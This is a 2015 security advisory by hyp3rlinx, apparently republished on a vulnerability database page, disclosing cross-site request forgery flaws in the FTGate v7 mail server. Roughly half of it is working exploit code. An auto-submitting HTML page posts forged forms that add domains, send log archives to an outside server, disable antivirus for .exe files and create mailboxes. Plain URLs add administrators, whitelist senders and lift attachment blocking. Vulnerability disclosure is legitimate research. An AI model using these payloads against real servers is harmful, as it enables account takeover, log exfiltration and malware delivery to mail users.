FTGate 7 Cross Site Request Forgery

🗓️ 02 Oct 2015 00:00:00Reported by hyp3rlinxType
packetstorm🔗 packetstormsecurity.com👁 23 Views
FTGate 7 CSRF Vulnerabilities in Multiple Features Allow Remote Attack
`[+] Credits: hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/AS-FTGATE-V7-CSRF.txt  
  
  
  
Vendor:  
================================  
www.ftgate.com  
www.ftgate.com/ftgate-update-7-0-300  
  
  
  
Product:  
================================  
FTGate v7  
  
  
Vulnerability Type:  
=================================  
Cross site request forgery (CSRF)  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
  
Vulnerability Details:  
=====================  
Multiple CSRF vectors exists within FTGate v7 allowing the following attacks  
www.ftgate.com/ftgate-update-7-0-300  
  
1) add arbitrary domains  
2) enable arbitrary remote archiving of logs  
3) whitelist arbitrary email addresses  
4) add arbitrary mailbox & disable antivirus,  
5) remove email attachment blocking for filez.  
  
  
  
  
Exploit code(s):  
===============  
  
<!DOCTYPE>  
<html>  
<body onLoad="doit()">  
<script>  
function doit(){  
var e=document.getElementById('HELL')  
e.submit()  
}  
</script>  
  
1) add arbitrary remote domain:  
  
<form id='HELL' action="  
http://localhost:8089/v7/wizards/adddomain.fts?action=save&id="  
method="post">  
<input type="text" name="name" value="abysmalgodz" />  
<input type="text" name="type" value="1" />  
</form>  
  
  
2) enable arbitrary remote archive:  
  
<form id='HELL' action="  
http://localhost:8089/v7/webadmin/config/archive.fts?action=save"  
method="post">  
<input type="text" name="action" value="save" />  
<input type="text" name="enable" value="on" />  
<input type="text" name="duration" value="0" />  
<input type="text" name="external" value="on" />  
<input type="text" name="extarcserver" value="0.6.6.6" />  
</form>  
  
disable Antivirus for .exe files: also, has a persistent XSS inject but our  
payload gets truncated at 5 chars,  
but can corrupt the loading of valid XML returned from database to the WEB  
UI.  
  
e.g.  
  
HTTP response after attack outputs corrupted XML generating errors.  
  
<cell>exe</cell>  
<cell/>  
<cell><scri</cell>  
<cell/>  
</row>  
<row id='id_"/><s'>  
  
http://localhost:8089/v7/axml/adminlists.fts?table=ext&add=exe  
  
  
<form id='HELL' action="  
http://localhost:8089/v7/webadmin/filters/virus.fts?action=save&mailbox="  
method="post">  
<input type="text" name="mode" value="on" />  
<input type="text" name="selftest" value="0ff" />  
<input type="text" name="extGrid_id_exe_0" value="1" />  
</form>  
  
  
add arbitrary Admins:  
  
http://localhost:8089/v7/axml/adminlists.fts?table=admin&add=ghostofsin  
  
whitelist arbitrary email addresses:  
  
Messages that originate from these email addresses are not filtered by the  
Word or Phrase filters.  
  
http://localhost:8089/v7/axml/whitelist.fts?id=531&[email protected]  
  
<!--remove email attachment blocking for exe, hta & html filez -->  
  
http://localhost:8089/v7/axml/attachments.fts?id=531&remove=7,10,3  
  
when access the above URL it returns XML with all file extensions blocked  
on incoming email, we now know ID in database.  
so to remove blocking of .cmd we select '11'  
  
http://localhost:8089/v7/axml/attachments.fts?id=531&remove=11  
  
or remove blocking of multiple file types in one shot  
http://localhost:8089/v7/axml/attachments.fts?id=531&remove=7,10,3  
  
  
add arbitrary mailbox:  
  
<form id='HELL' action="  
http://localhost:8089/v7/wizards/addmailbox.fts?action=save&id=500"  
method="post">  
<input type="text" name="name" value="punksnotdead" />  
<input type="text" name="type" value="0" />  
<input type="text" name="cn" value="punksnotdead" />  
<input type="text" name="password" value="punksnotdead" />  
</form>  
  
</body>  
</html>  
  
  
  
  
Disclosure Timeline:  
========================================  
Vendor Notification: September 29, 2015  
October 1, 2015 : Public Disclosure  
  
  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
================  
High  
  
  
  
  
Description:  
==========================================================  
Request Method(s): [+] GET  
  
  
Vulnerable Product: [+] FTGate v7  
  
  
Vulnerable Parameter(s): [+] type, id, mode, add, extarcserver  
  
  
  
===========================================================  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author.  
The author is not responsible for any misuse of the information contained  
herein and prohibits any malicious use of all security related information  
or exploits by the author or elsewhere.  
  
by hyp3rlinx  
`
02 Oct 2015 00:00Current
0.5Low risk
Vulners AI Score0.5